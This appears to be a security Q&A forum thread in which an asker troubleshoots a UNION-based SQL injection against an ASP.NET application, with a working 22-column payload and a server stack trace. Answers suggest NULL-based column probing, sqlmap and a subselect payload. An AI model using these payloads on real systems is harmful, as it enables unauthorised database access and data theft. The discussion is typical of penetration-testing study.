I've determined that the application is vulnerable to SQL injection and the proper amount of values to SELECT in the corresponding UNION ALL query:

foo' UNION ALL SELECT '1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1' --

My problem is that the selected values aren't of the same type as those selected by the original query. In this case, the timestamp error (see below) could refer to any of the selected values. How can I select values that doesn't generate type error, or determine the proper types to use?


Implicit conversion from data type varchar to timestamp is not allowed. Use the CONVERT function to run this query. 

[SqlException (0x80131904): Implicit conversion from data type varchar to timestamp is not allowed. Use the CONVERT function to run this query.]
   System.Data.SqlClient.SqlConnection.OnError(SqlException exception, Boolean breakConnection, Action`1 wrapCloseInAction) +3306108
   System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj, Boolean callerHasConnectionLock, Boolean asyncClose) +736
   System.Data.SqlClient.TdsParser.TryRun(RunBehavior runBehavior, SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bulkCopyHandler, TdsParserStateObject stateObj, Boolean& dataReady) +4061
   System.Data.SqlClient.SqlDataReader.TryConsumeMetaData() +90
   System.Data.SqlClient.SqlDataReader.get_MetaData() +99
   System.Data.SqlClient.SqlCommand.FinishExecuteReader(SqlDataReader ds, RunBehavior runBehavior, String resetOptionsString, Boolean isInternal, Boolean forDescribeParameterEncryption, Boolean shouldCacheForAlwaysEncrypted) +604
   System.Data.SqlClient.SqlCommand.RunExecuteReaderTds(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, Boolean async, Int32 timeout, Task& task, Boolean asyncWrite, Boolean inRetry, SqlDataReader ds, Boolean describeParameterEncryptionRequest) +3303
   System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method, TaskCompletionSource`1 completion, Int32 timeout, Task& task, Boolean& usedCache, Boolean asyncWrite, Boolean inRetry) +667
   System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method) +83
   System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior, String method) +301
   System.Data.Common.DbDataAdapter.FillInternal(DataSet dataset, DataTable[] datatables, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +201
   System.Data.Common.DbDataAdapter.Fill(DataTable[] dataTables, Int32 startRecord, Int32 maxRecords, IDbCommand command, CommandBehavior behavior) +453
   System.Data.Common.DbDataAdapter.Fill(DataTable dataTable) +141
   test.getTable(String select) +129
   test.write(String whereField, String searchFor, String searchWhen, String searchTo) +363
   test.search(String searchFor, String searchBy, String searchWhen, String searchTo) +436
   test.submitsearch_Click(Object sender, EventArgs e) +122
   System.Web.UI.WebControls.Button.OnClick(EventArgs e) +11758848
   System.Web.UI.WebControls.Button.RaisePostBackEvent(String eventArgument) +150
   System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +5028

2 Answers 2


You'll probably need to brute force it. But that looks like way to many columns to brute force at the same time! But don't worry, NULL comes to the rescue:


Set all columns to NULL, and try different types for the first column. When you got that one nailed down, move on to the next. And so on.

EDIT: This seems to be wrong, see comments.

  • Thanks @Anders, but I still experience a problem with null: Cannot cast DBNull.Value to type 'System.DateTime'. Please use a nullable type.?
    – Shuzheng
    Jul 4, 2019 at 8:18
  • @Shuzheng Hmm... Then my solution is wrong. Sorry. A guess: The error is probably about the first column where the types don't match. Try changing first column and see if the error message changes. (Don't know if this is workable, just a guess.)
    – Anders
    Jul 4, 2019 at 8:27

SQL Map should figure this out for you: https://book.hacktricks.xyz/pentesting-web/sql-injection/sqlmap

Also you can use sub-select to access data in another table, which again sqlmap will automatically detect and suggest.

foo' or 1=(select ...)

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .